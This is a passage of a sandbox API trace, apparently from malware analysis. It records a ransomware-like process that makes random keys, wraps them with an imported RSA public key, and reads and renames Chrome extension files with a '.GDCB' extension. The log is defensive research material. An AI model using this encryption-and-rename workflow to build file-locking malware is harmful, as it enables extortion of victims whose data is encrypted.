returned 1 [0257.815] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.817] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.817] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.817] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.819] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.822] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.822] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.822] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.824] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67915e0) returned 1 [0257.824] CryptGetKeyParam (in: hKey=0x67915e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.824] CryptEncrypt (in: hKey=0x67915e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.824] GetLastError () returned 0x0 [0257.824] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.824] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.826] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791120) returned 1 [0257.826] CryptGetKeyParam (in: hKey=0x6791120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.826] CryptEncrypt (in: hKey=0x6791120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.827] GetLastError () returned 0x0 [0257.827] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.827] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.828] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.833] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xce, lpOverlapped=0x0) returned 1 [0257.842] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.851] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0257.857] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0257.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.863] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0257.863] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.863] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0257.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.868] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0257.868] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.868] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0257.870] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6791160) returned 1 [0257.870] CryptGetKeyParam (in: hKey=0x6791160, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0257.870] CryptEncrypt (in: hKey=0x6791160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0257.871] GetLastError () returned 0x0 [0257.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.871] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0257.872] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67914a0) returned 1 [0257.872] CryptGetKeyParam (in: hKey=0x67914a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0257.873] CryptEncrypt (in: hKey=0x67914a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0257.873] GetLastError () returned 0x0 [0257.873] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.873] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0257.874] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.877] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.879] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x160, lpOverlapped=0x0) returned 1 [0257.888] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.906] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.gdcb")) returned 1 [0257.909] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0257.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.914] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.915] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0257.915] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.915] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0257.917] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.919] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0257.919] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.919] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0257.922] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67917e0) returned 1 [0257.922] CryptGetKeyParam (in: hKey=0x67917e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0257.922] CryptEncrypt (in: hKey=0x67917e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0257.922] GetLastError () returned 0x0 [0257.922] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.922] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0257.924] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6791520) returned 1 [0257.924] CryptGetKeyParam (in: hKey=0x6791520, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0257.924] CryptEncrypt (in: hKey=0x6791520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0257.924] GetLastError () returned 0x0 [0257.924] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.924] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0257.926] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.929] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.931] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x2b56, lpOverlapped=0x0) returned 1 [0257.940] VirtualAlloc (lpAddress=0x0, dwSize=0x2b60, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.946] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0257.963] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.966] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.968] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.968] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.969] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.971] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.973] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.973] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.973] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.973] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.975] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67911e0) returned 1 [0257.976] CryptGetKeyParam (in: hKey=0x67911e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.976] CryptEncrypt (in: hKey=0x67911e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.976] GetLastError () returned 0x0 [0257.976] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.976] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.978] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67916e0) returned 1 [0257.978] CryptGetKeyParam (in: hKey=0x67916e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.978] CryptEncrypt (in: hKey=0x67916e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.978] GetLastError () returned 0x0 [0257.978] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.978] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.979] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.984] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x116, lpOverlapped=0x0) returned 1 [0257.993] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.000] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0258.005] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.008] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.010] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.010] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.010] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.013] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.015] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.015] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.015] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.015] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.018] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67912e0) returned 1 [0258.018] CryptGetKeyParam (in: hKey=0x67912e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.018] CryptEncrypt (in: hKey=0x67912e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.018] GetLastError () returned 0x0 [0258.018] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.018] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.020] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791660) returned 1 [0258.020] CryptGetKeyParam (in: hKey=0x6791660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.020] CryptEncrypt (in: hKey=0x6791660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.020] GetLastError () returned 0x0 [0258.020] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.020] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.021] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.024] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.026] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x13f, lpOverlapped=0x0) returned 1 [0258.035] VirtualAlloc (lpAddress=0x0, dwSize=0x140, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.041] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0258.046] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.050] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.052] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.052] CryptGenRandom (in: 